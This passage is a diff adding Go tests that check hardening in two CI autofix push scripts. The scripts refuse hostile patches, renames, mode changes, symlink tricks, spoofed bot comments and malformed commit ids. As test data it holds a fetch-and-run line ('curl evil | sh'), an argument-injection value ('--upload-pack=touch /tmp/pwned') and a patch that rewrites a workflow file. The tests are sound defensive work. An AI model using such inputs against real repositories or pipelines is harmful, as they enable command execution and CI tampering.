+ gitconfig, "GIT_CONFIG_NOSYSTEM=1", + "FAKE_GH_LOG=" + log, "FAKE_PULLS=" + pulls, + "BASE_REPO=owner/beads", "HEAD_REPO=" + f.headRepo, "HEAD_BRANCH=" + f.branch, "HEAD_SHA=" + f.headSHA, + "PATCH_FILE=" + f.patch, "RUN_ID=42", "RUN_URL=https://github.com/owner/beads/actions/runs/42", + "GH_TOKEN=api-token", "PUSH_TOKEN=push-token", + }, f.env...) + out, err := cmd.CombinedOutput() + logBody, _ := os.ReadFile(log) + head := strings.TrimSpace(r.run("--git-dir="+remote, "rev-parse", f.branch)) + return autofixFlowResult{out: string(out), log: string(logBody), remote: remote, head: head, branch: f.branch, err: err} +} + +func pullJSON(number int, branch, sha, headRepo, baseRef, baseRepo string) string { + return fmt.Sprintf(`{"number":%d,"head":{"ref":%q,"sha":%q,"repo":{"full_name":%q}},"base":{"ref":%q,"repo":{"full_name":%q}}}`, + number, branch, sha, headRepo, baseRef, baseRepo) +} + +// scriptWith copies script with each old (which must occur exactly once) +// replaced by its new, so a test can switch one layer off and exercise the +// next one alone. +func scriptWith(t *testing.T, script string, oldNew ...string) string { + t.Helper() + body := readPolicyFile(t, sourceRepoRoot(t), script) + for i := 0; i+1 < len(oldNew); i += 2 { + if n := strings.Count(body, oldNew[i]); n != 1 { + t.Fatalf("%s: want exactly one %q, got %d", script, oldNew[i], n) + } + body = strings.Replace(body, oldNew[i], oldNew[i+1], 1) + } + copyPath := filepath.Join(t.TempDir(), filepath.Base(script)) + if err := os.WriteFile(copyPath, []byte(body), 0o755); err != nil { + t.Fatal(err) + } + return copyPath +} + +// withoutValidator copies script with its up-front validate_patch call +// disabled, so a flow test exercises the post-apply staged check alone. +func withoutValidator(t *testing.T, script string) string { + t.Helper() + return scriptWith(t, script, "\nvalidate_patch \"$PATCH_FILE\"\n", "\n: skipped validate_patch\n") +} + +// summaryOnly copies script with the header greps of validate_patch +// switched off, so --check exercises `git apply --summary` (then numstat). +func summaryOnly(t *testing.T, script string) string { + t.Helper() + return scriptWith(t, script, + `if grep -qE '^(old mode|new mode|similarity index|dissimilarity index|rename |copy |GIT binary patch|Binary files )' "$file"; then`, "if false; then", + `if grep -E '^(new file mode|deleted file mode) ' "$file" | grep -qvE '^(new file mode|deleted file mode) 100644$'; then`, "if false; then", + `if grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'; then`, "if false; then") +} + +func TestBazelAutofixPushFlow(t *testing.T) { + r := newBazelAutofixRepo(t) + good := r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") + r.write("internal/newpkg/BUILD.bazel", "go_library(name = \"newpkg\")\n") + }) + flow := func(f autofixFlow) autofixFlow { + f.script = bazelAutofixPushScript + if f.patch == "" { + f.patch = good + } + return f + } + unchanged := func(t *testing.T, res autofixFlowResult, want string) { + t.Helper() + if res.head != r.head { + t.Errorf("branch moved to %s; want no push\n%s\n%s", res.head, res.out, res.log) + } + if want != "" && !strings.Contains(res.log+res.out, want) { + t.Errorf("want %q in output or comment:\n%s\n%s", want, res.out, res.log) + } + } + + t.Run("same-repo PR gets the sync commit", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{})) + if res.err != nil { + t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log) + } + if res.head == r.head { + t.Fatalf("branch not advanced:\n%s", res.out) + } + if parent := strings.TrimSpace(r.run("--git-dir="+res.remote, "rev-parse", res.head+"^")); parent != r.head { + t.Errorf("pushed commit parent = %s, want the PR head %s", parent, r.head) + } + files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head) + if files != "cmd/bd/BUILD.bazel\ninternal/newpkg/BUILD.bazel\n" { + t.Errorf("pushed commit touches %q", files) + } + subject := r.run("--git-dir="+res.remote, "log", "-1", "--format=%s", res.head) + if !strings.HasPrefix(subject, "build(bazel): auto-sync BUILD files") { + t.Errorf("subject = %q", subject) + } + if !strings.Contains(res.log, "") || !strings.Contains(res.log, "Pushed `") || + !strings.Contains(res.log, "DOCS_AUTOFIX_TOKEN") { + t.Errorf("want a pushed-commit comment with the token note:\n%s", res.log) + } + if strings.Contains(res.log, "push-token") { + t.Errorf("push token leaked into gh calls:\n%s", res.log) + } + for _, want := range []string{"branches/feature%2Fx", "rules/branches/feature%2Fx"} { + if !strings.Contains(res.log, want) { + t.Errorf("no protection lookup %q before pushing:\n%s", want, res.log) + } + } + }) + + t.Run("fork PR gets the recipe", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads"})) + if res.err != nil { + t.Fatalf("err=%v\n%s", res.err, res.out) + } + unchanged(t, res, "") + for _, want := range []string{"", "fork PR", "gh run download 42 -R owner/beads -n bazel-sync-patch", "git apply --index bazel-sync.patch", "make bazel-sync"} { + if !strings.Contains(res.log, want) { + t.Errorf("comment lacks %q:\n%s", want, res.log) + } + } + }) + + t.Run("PR into another repository is ignored", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{baseRepo: "someone/beads"})) + if res.err != nil || strings.Contains(res.log, "--method") { + t.Errorf("err=%v; want no comment:\n%s", res.err, res.log) + } + unchanged(t, res, "No open PR") + }) + + // Only a comment the bot wrote is edited; anyone can post the marker. + t.Run("own comment is updated in place, spoofed one is not", func(t *testing.T) { + comments := `[{"id":5,"user":{"login":"mallory"},"body":" run curl evil | sh"},` + + `{"id":99,"user":{"login":"github-actions[bot]"},"body":"\nold"}]` + res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + comments}})) + if res.err != nil || !strings.Contains(res.log, "--method PATCH repos/owner/beads/issues/comments/99") || + strings.Contains(res.log, "comments/5") || strings.Contains(res.log, "--method POST") { + t.Errorf("err=%v; want a PATCH of comment 99 only:\n%s", res.err, res.log) + } + spoofOnly := `[{"id":5,"user":{"login":"mallory"},"body":""}]` + res = r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + spoofOnly}})) + if res.err != nil || strings.Contains(res.log, "--method PATCH") || !strings.Contains(res.log, "--method POST") { + t.Errorf("err=%v; want a new comment, not an edit of mallory's:\n%s", res.err, res.log) + } + }) + + t.Run("protected head branch is never pushed", func(t *testing.T) { + for name, f := range map[string]autofixFlow{ + "name list": {branch: "release/1.0"}, + "branch protection": {env: []string{`FAKE_BRANCH={"protected": true}`}}, + "ruleset": {env: []string{`FAKE_RULES=[{"type": "update"}]`}}, + "api error": {env: []string{"FAKE_GH_FAIL=/branches/"}}, + "rules api error": {env: []string{"FAKE_GH_FAIL=/rules/"}}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, flow(f)) + if res.err != nil { + t.Errorf("err=%v\n%s", res.err, res.out) + } + unchanged(t, res, "protected from bot pushes") + }) + } + }) + + // The circuit breaker reads the head's subject from the fetched commit + // (no API), fails closed, and only fires once the PR's own fix is known: + // a bot head whose remaining drift is main's gets the "not this PR" note. + t.Run("circuit breaker", func(t *testing.T) { + botHead := r.commitOn(r.head, "bot", "build(bazel): auto-sync BUILD files\n\nApplied from ...", func(r *autofixRepo) { + r.write("internal/newpkg/newpkg.go", "package newpkg // synced\n") + }) + mainDrift := writeRawPatch(t, "diff --git a/other/BUILD.bazel b/other/BUILD.bazel\n--- a/other/BUILD.bazel\n+++ b/other/BUILD.bazel\n"+ + "@@ -1 +1 @@\n-go_library(name = \"other\")\n+go_library(name = \"other\", srcs = [\"other.go\"])\n") + noSubject := scriptWith(t, bazelAutofixPushScript, `HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")"`, `HEAD_SUBJECT="$(false)"`) + for name, tc := range map[string]struct { + f autofixFlow + want, deny string + }{ + "bot head with the PR's own drift": {f: flow(autofixFlow{headSHA: botHead}), want: "previous auto-fix commit did not fix this PR's own files", deny: "files this PR did not change"}, + "bot head with main's drift only": {f: flow(autofixFlow{headSHA: botHead, patch: mainDrift}), want: "files this PR did not change", deny: "did not fix"}, + "subject unreadable": {f: autofixFlow{script: noSubject, patch: good}, want: "previous auto-fix commit did not fix", deny: "Pushed `"}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, tc.f) + if res.err != nil { + t.Errorf("err=%v", res.err) + } + if res.head != tc.f.headSHA && !(tc.f.headSHA == "" && res.head == r.head) { + t.Errorf("branch moved to %s; want no push\n%s", res.head, res.out) + } + if !strings.Contains(res.log, tc.want) || strings.Contains(res.log, tc.deny) { + t.Errorf("want a comment with %q and without %q:\n%s\n%s", tc.want, tc.deny, res.out, res.log) + } + if strings.Contains(res.log, "/commits/") { + t.Errorf("head subject read through the API:\n%s", res.log) + } + }) + } + }) + + // One head branch can back several open PRs; the artifact's PR number + // picks among the ones that match the event, and without it the bot does + // not guess. + t.Run("PR selection", func(t *testing.T) { + two := "[" + pullJSON(7, "feature/x", r.head, "someone/beads", "main", "owner/beads") + "," + + pullJSON(8, "feature/x", r.head, "someone/beads", "release/x", "owner/beads") + "]" + metaFor := func(pr string) string { + meta := filepath.Join(t.TempDir(), "bazel-sync-meta.txt") + if err := os.WriteFile(meta, []byte("pr="+pr+"\nhead_sha="+r.head+"\n"), 0o644); err != nil { + t.Fatal(err) + } + return meta + } + for name, tc := range map[string]struct { + meta, want string + comment bool + }{ + "ambiguous without metadata": {want: "2 open PRs use someone/beads:feature/x"}, + "metadata picks the second PR": {meta: "8", want: "issues/8/comments", comment: true}, + "metadata picks the first PR": {meta: "7", want: "issues/7/comments", comment: true}, + "metadata names no matching PR": {meta: "9", want: "numbered #9"}, + } { + t.Run(name, func(t *testing.T) { + f := flow(autofixFlow{headRepo: "someone/beads", pulls: two}) + if tc.meta != "" { + f.env = []string{"META_FILE=" + metaFor(tc.meta)} + } + res := r.runFlow(t, f) + if res.err != nil || !strings.Contains(res.out+res.log, tc.want) { + t.Errorf("err=%v; want %q:\n%s\n%s", res.err, tc.want, res.out, res.log) + } + if got := strings.Contains(res.log, "--method"); got != tc.comment { + t.Errorf("commented=%v, want %v:\n%s", got, tc.comment, res.log) + } + unchanged(t, res, "") + }) + } + }) + + // HEAD_SHA reaches git as a revision: anything but a full commit id is + // refused before the patch, the API or git sees it. + t.Run("HEAD_SHA must be 40 hex", func(t *testing.T) { + for _, bad := range []string{"HEAD", r.head[:12], strings.ToUpper(r.head), "--upload-pack=touch /tmp/pwned", r.head + "\n", r.head + "0"} { + res := r.runFlow(t, flow(autofixFlow{env: []string{"HEAD_SHA=" + bad}})) + if res.err == nil || !strings.Contains(res.out, "HEAD_SHA is not a commit id") || res.log != "" { + t.Errorf("HEAD_SHA=%q: err=%v gh log=%q\n%s", bad, res.err, res.log, res.out) + } + unchanged(t, res, "") + } + }) + + t.Run("metadata for another head vetoes", func(t *testing.T) { + meta := filepath.Join(t.TempDir(), "bazel-sync-meta.txt") + if err := os.WriteFile(meta, []byte("pr=7\nhead_sha="+strings.Repeat("a", 40)+"\n"), 0o644); err != nil { + t.Fatal(err) + } + res := r.runFlow(t, flow(autofixFlow{env: []string{"META_FILE=" + meta}})) + if res.err != nil || res.log != "" { + t.Errorf("err=%v gh log=%q\n%s", res.err, res.log, res.out) + } + unchanged(t, res, "") + }) + + t.Run("hostile patch fails before any API call", func(t *testing.T) { + evil := r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }) + res := r.runFlow(t, flow(autofixFlow{patch: evil})) + if res.err == nil || res.log != "" || !strings.Contains(res.out, "REFUSED") { + t.Errorf("err=%v gh log=%q\n%s", res.err, res.log, res.out) + } + unchanged(t, res, "") + }) + + // The reviewer's bypasses, with the up-front validator switched off: the + // post-apply staged check alone still refuses them. + t.Run("staged check alone refuses renames", func(t *testing.T) { + noValidator := withoutValidator(t, bazelAutofixPushScript) + for name, patch := range map[string]string{ + "legacy rename old/new": writeRawPatch(t, "diff --git a/.github/workflows/ci.yml b/internal/newpkg/BUILD.bazel\n"+ + "rename old .github/workflows/ci.yml\nrename new internal/newpkg/BUILD.bazel\n"), + "rename from/to": writeRawPatch(t, "diff --git a/scripts/tool.sh b/internal/newpkg/BUILD.bazel\n"+ + "rename from scripts/tool.sh\nrename to internal/newpkg/BUILD.bazel\n"), + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, autofixFlow{script: noValidator, patch: patch}) + if res.err == nil && res.head != r.head { + t.Fatalf("hostile rename pushed:\n%s", res.out) + } + unchanged(t, res, "REFUSED: staged change") + }) + } + // A mode change on an allowlisted file passes the path check; only the + // mode arm of check_staged stops it. + mode := r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "cmd/bd/BUILD.bazel"), 0o755); err != nil { + t.Fatal(err) + } + }) + res := r.runFlow(t, autofixFlow{script: noValidator, patch: mode}) + if res.err == nil { + t.Errorf("mode change not refused:\n%s", res.out) + } + unchanged(t, res, "REFUSED: staged change is not a regular-file edit") + }) + + // bazel.yml builds the PR merge commit, so main's own drift is in every + // PR's patch. It must never be pushed onto a PR that did not cause it. + t.Run("base-branch drift is not pushed to an unrelated PR", func(t *testing.T) { + drift := r.patch(func() { + r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n") + r.write("MODULE.bazel.lock", "{\"main\": 1}\n") + }) + res := r.runFlow(t, flow(autofixFlow{patch: drift})) + if res.err != nil { + t.Fatalf("err=%v\n%s", res.err, res.out) + } + unchanged(t, res, "files this PR did not change") + }) + + t.Run("mixed drift pushes only the PR's packages", func(t *testing.T) { + mixed := r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") + r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n") + r.write("MODULE.bazel.lock", "{\"main\": 1}\n") + }) + res := r.runFlow(t, flow(autofixFlow{patch: mixed})) + if res.err != nil || res.head == r.head { + t.Fatalf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.out) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head); files != "cmd/bd/BUILD.bazel\n" { + t.Errorf("pushed commit touches %q, want only cmd/bd/BUILD.bazel", files) + } + if !strings.Contains(res.log, "other/BUILD.bazel") || !strings.Contains(res.log, "MODULE.bazel.lock") { + t.Errorf("comment does not list the files left alone:\n%s", res.log) + } + }) + + // Every path outside a package walks up to the root; only root-level Go + // and build inputs make root BUILD.bazel drift the PR's. + t.Run("root package attribution", func(t *testing.T) { + rootDrift := r.patch(func() { + r.write("BUILD.bazel", "# root\ngo_library(name = \"beads\")\n") + r.write("other/BUILD.bazel", "go_library(name = \"other\", srcs = [\"other.go\"])\n") + }) + for name, edit := range map[string]func(r *autofixRepo){ + "docs only": func(r *autofixRepo) { r.write("docs/guide.md", "# guide v2\n") }, + "README only": func(r *autofixRepo) { r.write("README.md", "# beads v2\n") }, + "workflow only": func(r *autofixRepo) { r.write(".github/workflows/ci.yml", "name: CI2\n") }, + "new docs tree": func(r *autofixRepo) { r.write("docs/new/page.md", "# new\n") }, + "non-Go at root": func(r *autofixRepo) { r.write("Makefile", "all:\n") }, + } { + t.Run(name, func(t *testing.T) { + head := r.commitOn(r.base, "root-"+strings.ReplaceAll(name, " ", "-"), name, edit) + // rootDrift touches only files this head shares with r.head. + res := r.runFlow(t, flow(autofixFlow{headSHA: head, patch: rootDrift})) + if res.err != nil || res.head != head { + t.Fatalf("err=%v; pushed main's root drift onto a %s PR:\n%s\n%s", res.err, name, res.out, res.log) + } + if !strings.Contains(res.log, "files this PR did not change") { + t.Errorf("want the not-this-PR comment:\n%s\n%s", res.out, res.log) + } + }) + } + goHead := r.commitOn(r.base, "root-go", "root go", func(r *autofixRepo) { r.write("beads.go", "package beads // v2\n") }) + res := r.runFlow(t, flow(autofixFlow{headSHA: goHead, patch: rootDrift})) + if res.err != nil || res.head == goHead { + t.Fatalf("err=%v; root Go change did not get its root BUILD.bazel:\n%s\n%s", res.err, res.out, res.log) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", goHead, res.head); files != "BUILD.bazel\n" { + t.Errorf("pushed commit touches %q, want only BUILD.bazel", files) + } + }) + + t.Run("module files are pushed when the PR changed go.mod", func(t *testing.T) { + gomod := r.variant("gomod", func(r *autofixRepo) { r.write("go.mod", "module example.com/beads\n\nrequire x v1\n") }) + lock := writeRawPatch(t, "diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock\nindex 0967ef4..ab1ba8b 100644\n--- a/MODULE.bazel.lock\n+++ b/MODULE.bazel.lock\n@@ -1 +1 @@\n-{}\n+{\"x\": 1}\n") + res := r.runFlow(t, flow(autofixFlow{headSHA: gomod, patch: lock})) + if res.err != nil || res.head == gomod { + t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", gomod, res.head); files != "MODULE.bazel.lock\n" { + t.Errorf("pushed commit touches %q", files) + } + }) + + // The branch was force-pushed back to an ancestor after the run: a plain + // push would fast-forward and resurrect the dropped head. + t.Run("push is leased to the run's head", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{remoteAt: r.base})) + if res.err != nil { + t.Fatalf("err=%v\n%s", res.err, res.out) + } + if res.head != r.base { + t.Errorf("branch = %s, want it left at %s (lease should refuse)", res.head, r.base) + } + if !strings.Contains(res.log, "pushing the fix to feature/x failed") { + t.Errorf("want the push-failed recipe:\n%s\n%s", res.out, res.log) + } + }) + + // A PR head with symlinks at or above an allowlisted path: nothing is + // written to disk, and git refuses to stage through the link. + t.Run("symlinked PR tree", func(t *testing.T) { + symDir := r.variant("symdir", func(r *autofixRepo) { + r.run("rm", "-rq", "internal/newpkg") + if err := os.MkdirAll(filepath.Join(r.dir, "internal"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink("../.github/workflows", filepath.Join(r.dir, "internal", "newpkg")); err != nil { + t.Fatal(err) + } + // Sync tooling change: every patch file counts as the PR's, so + // only git's own guard stands between the patch and the link. + r.write("tools/bazel/go_srcs.py", "# touched\n") + }) + symFile := r.variant("symfile", func(r *autofixRepo) { + r.run("rm", "-q", "cmd/bd/BUILD.bazel") + if err := os.Symlink("../../.github/workflows/ci.yml", filepath.Join(r.dir, "cmd", "bd", "BUILD.bazel")); err != nil { + t.Fatal(err) + } + }) + newInLink := writeRawPatch(t, "diff --git a/internal/newpkg/BUILD.bazel b/internal/newpkg/BUILD.bazel\n"+ + "new file mode 100644\nindex 0000000..9daeafb\n--- /dev/null\n+++ b/internal/newpkg/BUILD.bazel\n@@ -0,0 +1 @@\n+test\n") + editLink := r.patch(func() { r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") }) + for name, f := range map[string]autofixFlow{ + "new file under a symlinked dir": {headSHA: symDir, patch: newInLink}, + "edit of a symlinked file": {headSHA: symFile, patch: editLink}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, flow(f)) + if res.head != f.headSHA { + t.Fatalf("pushed through a symlink (err=%v):\n%s", res.err, res.out) + } + if !strings.Contains(res.log, "no longer applies cleanly") { + t.Errorf("want the does-not-apply recipe:\n%s\n%s", res.out, res.log) + } + }) + } + }) +} + +func TestDocsAutofixPushFlow(t *testing.T) { + r := newDocsAutofixRepo(t) + good := r.patch(func() { + r.write("docs/CLI_REFERENCE.md", "# CLI\n\nnew flag\n") + r.write("docs/cli-reference/bd-new.md", "# new\n") + }) + flow := func(f autofixFlow) autofixFlow { + f.script = docsAutofixPushScript + if f.patch == "" { + f.patch = good + } + return f + } + + t.Run("same-repo PR gets the regen commit", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{})) + if res.err != nil || res.head == r.head { + t.Fatalf("err=%v\n%s\n%s", res.err, res.out, res.log) + } + if files := r.run("--git-dir="+res.remote, "diff", "--name-only", r.head, res.head); files != "docs/CLI_REFERENCE.md\ndocs/cli-reference/bd-new.md\n" { + t.Errorf("pushed commit touches %q", files) + } + if !strings.Contains(res.log, "") || !strings.Contains(res.log, "Pushed `") { + t.Errorf("want a pushed-commit comment:\n%s", res.log) + } + }) + + // The reviewer's bypass, which pushed "docs: auto-regenerate CLI + // reference" renaming scripts.sh on main: refused up front now, and by + // the staged check alone. + rename := r.patch(func() { r.run("mv", "scripts.sh", "docs/cli-reference/x.md") }) + legacy := writeRawPatch(t, "diff --git a/scripts.sh b/docs/cli-reference/x.md\nrename old scripts.sh\nrename new docs/cli-reference/x.md\n") + for name, script := range map[string]string{"validator": docsAutofixPushScript, "staged check alone": withoutValidator(t, docsAutofixPushScript)} { + for pname, patch := range map[string]string{"rename": rename, "legacy rename": legacy} { + t.Run(name+"/"+pname, func(t *testing.T) { + res := r.runFlow(t, autofixFlow{script: script, patch: patch}) + if res.err == nil || res.head != r.head || !strings.Contains(res.out, "REFUSED") { + t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != r.head, res.out, res.log) + } + }) + } + } + + t.Run("spoofed comment is not edited", func(t *testing.T) { + spoof := `[{"id":5,"user":{"login":"mallory"},"body":""}]` + res := r.runFlow(t, flow(autofixFlow{headRepo: "someone/beads", env: []string{"FAKE_COMMENTS=" + spoof}})) + if res.err != nil || strings.Contains(res.log, "--method PATCH") || !strings.Contains(res.log, "--method POST") { + t.Errorf("err=%v:\n%s", res.err, res.log) + } + }) + + t.Run("protected head branch is never pushed", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{env: []string{`FAKE_RULES=[{"type": "update"}]`}})) + if res.err != nil || res.head != r.head || !strings.Contains(res.log, "protected from bot pushes") { + t.Errorf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.log) + } + }) + + t.Run("push is leased to the run's head", func(t *testing.T) { + res := r.runFlow(t, flow(autofixFlow{remoteAt: r.base})) + if res.err != nil || res.head != r.base || !strings.Contains(res.log, "failed") { + t.Errorf("err=%v head=%s\n%s\n%s", res.err, res.head, res.out, res.log) + } + }) + + t.Run("staged check alone refuses a mode change", func(t *testing.T) { + mode := r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "docs/docs.json"), 0o755); err != nil { + t.Fatal(err) + } + }) + res := r.runFlow(t, autofixFlow{script: withoutValidator(t, docsAutofixPushScript), patch: mode}) + if res.err == nil || res.head != r.head || !strings.Contains(res.out, "REFUSED: staged change is not a regular-file edit") { + t.Errorf("err=%v head moved=%v\n%s", res.err, res.head != r.head, res.out) + } + }) + + t.Run("circuit breaker reads the fetched commit and fails closed", func(t *testing.T) { + botHead := r.commitOn(r.head, "docs-bot", "docs: auto-regenerate CLI reference", func(r *autofixRepo) { + r.write("docs/docs.json", "{\"regen\": 1}\n") + }) + noSubject := scriptWith(t, docsAutofixPushScript, `HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")"`, `HEAD_SUBJECT="$(false)"`) + for name, f := range map[string]autofixFlow{ + "bot head": flow(autofixFlow{headSHA: botHead}), + "subject unreadable": {script: noSubject, patch: good, headSHA: r.head}, + } { + t.Run(name, func(t *testing.T) { + res := r.runFlow(t, f) + if res.err != nil || res.head != f.headSHA || !strings.Contains(res.log, "previous auto-regeneration commit left the docs stale") { + t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != f.headSHA, res.out, res.log) + } + if strings.Contains(res.log, "/commits/") { + t.Errorf("head subject read through the API:\n%s", res.log) + } + }) + } + }) + + t.Run("ambiguous PR is skipped", func(t *testing.T) { + two := "[" + pullJSON(7, "feature/x", r.head, "owner/beads", "main", "owner/beads") + "," + + pullJSON(8, "feature/x", r.head, "owner/beads", "release/x", "owner/beads") + "]" + res := r.runFlow(t, flow(autofixFlow{pulls: two})) + if res.err != nil || res.head != r.head || strings.Contains(res.log, "--method") || !strings.Contains(res.out, "not guessing") { + t.Errorf("err=%v head moved=%v\n%s\n%s", res.err, res.head != r.head, res.out, res.log) + } + }) + + t.Run("HEAD_SHA must be 40 hex", func(t *testing.T) { + for _, bad := range []string{"HEAD", r.head[:12], strings.ToUpper(r.head), "--upload-pack=touch /tmp/pwned"} { + res := r.runFlow(t, flow(autofixFlow{env: []string{"HEAD_SHA=" + bad}})) + if res.err == nil || !strings.Contains(res.out, "HEAD_SHA is not a commit id") || res.log != "" || res.head != r.head { + t.Errorf("HEAD_SHA=%q: err=%v gh log=%q\n%s", bad, res.err, res.log, res.out) + } + } + }) +} + +// git apply --summary is the validator's third layer: with the header greps +// switched off, it alone refuses every rename, copy, mode change and +// non-100644 creation (an allowlisted target keeps numstat quiet). A mode on +// a plain "index A..B MODE" line is not a change, so --summary does not list +// it; the index grep and check_staged cover that shape. +func TestAutofixPushSummaryLayer(t *testing.T) { + for script, target := range map[string]string{ + bazelAutofixPushScript: "foo/BUILD.bazel", + docsAutofixPushScript: "docs/cli-reference/x.md", + } { + t.Run(filepath.Base(script), func(t *testing.T) { + dir := t.TempDir() + copyPath := summaryOnly(t, script) + hunk := "--- a/" + target + "\n+++ b/" + target + "\n@@ -1 +1 @@\n-x\n+y\n" + for name, body := range map[string]string{ + "rename": "diff --git a/scripts.sh b/" + target + "\nsimilarity index 90%\nrename from scripts.sh\nrename to " + target + "\n", + "legacy rename": "diff --git a/scripts.sh b/" + target + "\nrename old scripts.sh\nrename new " + target + "\n", + "copy": "diff --git a/scripts.sh b/" + target + "\ncopy from scripts.sh\ncopy to " + target + "\n", + "mode change": "diff --git a/" + target + " b/" + target + "\nold mode 100644\nnew mode 100755\n", + "mode with hunk": "diff --git a/" + target + " b/" + target + "\nold mode 100644\nnew mode 100755\nindex 1234567..89abcde\n" + hunk, + "executable file": "diff --git a/" + target + " b/" + target + "\nnew file mode 100755\nindex 0000000..e69de29\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+x\n", + "symlink": "diff --git a/" + target + " b/" + target + "\nnew file mode 120000\nindex 0000000..1234567\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+../scripts.sh\n\\ No newline at end of file\n", + "delete symlink": "diff --git a/" + target + " b/" + target + "\ndeleted file mode 120000\nindex 1234567..0000000\n--- a/" + target + "\n+++ /dev/null\n@@ -1 +0,0 @@\n-../scripts.sh\n\\ No newline at end of file\n", + } { + t.Run(name, func(t *testing.T) { + out, err := runAutofixCheck(t, copyPath, dir, writeRawPatch(t, body)) + if err == nil || !strings.Contains(out, "REFUSED") { + t.Errorf("--summary layer let it through (err=%v):\n%s\n--- patch ---\n%s", err, out, body) + } + }) + } + // The layer still passes a plain regular-file edit and creation. + plain := "diff --git a/" + target + " b/" + target + "\nnew file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ b/" + target + "\n@@ -0,0 +1 @@\n+x\n" + if out, err := runAutofixCheck(t, copyPath, dir, writeRawPatch(t, plain)); err != nil { + t.Errorf("plain creation refused: %v\n%s", err, out) + } + }) + } +} + +// The download step of each autofix workflow, run as written against a fake +// gh: it lists artifacts of the triggering run only (the event's run id, +// never a repo-wide listing another run could win), extracts only its named +// files, and refuses an entry that is not a regular file. +func TestAutofixWorkflowDownloadStep(t *testing.T) { + requireHostTool(t, "unzip") + requireHostTool(t, "jq") + for _, tc := range []struct { + workflow, step, artifact, dir string + files []string + }{ + {bazelAutofixWorkflowName, "Download BUILD sync patch (if any)", "bazel-sync-patch", "bazel-patch", []string{"bazel-sync-meta.txt", "bazel-sync.patch"}}, + {"docs-autofix.yml", "Download docs freshness patch (if any)", "cli-docs-freshness-patch", "docs-patch", []string{"cli-docs-freshness.patch"}}, + } { + t.Run(tc.workflow, func(t *testing.T) { + step := readCIWorkflow(t, tc.workflow).job(t, "autofix").step(t, tc.step) + if got := step.Env["RUN_ID"]; got != "${{ github.event.workflow_run.id }}" { + t.Errorf("RUN_ID = %q, want the triggering run's id", got) + } + if !strings.Contains(step.Run, `"repos/${GITHUB_REPOSITORY}/actions/runs/${RUN_ID}/artifacts`) { + t.Errorf("artifact listing is not scoped to the triggering run:\n%s", step.Run) + } + run := func(t *testing.T, entries map[string]string, symlinks map[string]string, listed string) (string, string, string, error) { + t.Helper() + tmp := t.TempDir() + zipPath := filepath.Join(tmp, "a.zip") + writeZip(t, zipPath, entries, symlinks) + bin := t.TempDir() + fake := `#!/usr/bin/env bash +set -euo pipefail +echo "gh $*" >> "$FAKE_GH_LOG" +jq_expr="" path="" +while [ $# -gt 0 ]; do + case "$1" in + api | --paginate) ;; + --jq) jq_expr="$2"; shift ;; + *) path="$1" ;; + esac + shift +done +case "$path" in + repos/owner/beads/actions/runs/42/artifacts | "repos/owner/beads/actions/runs/42/artifacts?"*) + printf '%s' "$FAKE_ARTIFACTS" | jq -r "$jq_expr" ;; + repos/owner/beads/actions/artifacts/5/zip) cat "$FAKE_ZIP" ;; + *) echo "gh: HTTP 404 for $path" >&2; exit 1 ;; +esac +` + if err := os.WriteFile(filepath.Join(bin, "gh"), []byte(fake), 0o755); err != nil { + t.Fatal(err) + } + runner := filepath.Join(tmp, "runner") + workspace := filepath.Join(tmp, "workspace") + for _, d := range []string{runner, workspace} { + if err := os.MkdirAll(d, 0o755); err != nil { + t.Fatal(err) + } + } + output := filepath.Join(tmp, "output") + log := filepath.Join(tmp, "gh.log") + cmd := exec.Command("bash", "-e", "-c", step.Run) + cmd.Dir = workspace + cmd.Env = append(os.Environ(), + "PATH="+bin+string(os.PathListSeparator)+os.Getenv("PATH"), + "GITHUB_REPOSITORY=owner/beads", "RUNNER_TEMP="+runner, "GITHUB_OUTPUT="+output, + "RUN_ID=42", "GH_TOKEN=x", "FAKE_GH_LOG="+log, "FAKE_ZIP="+zipPath, + "FAKE_ARTIFACTS="+listed) + out, err := cmd.CombinedOutput() + if ws, _ := os.ReadDir(workspace); len(ws) != 0 { + t.Errorf("the step wrote into the 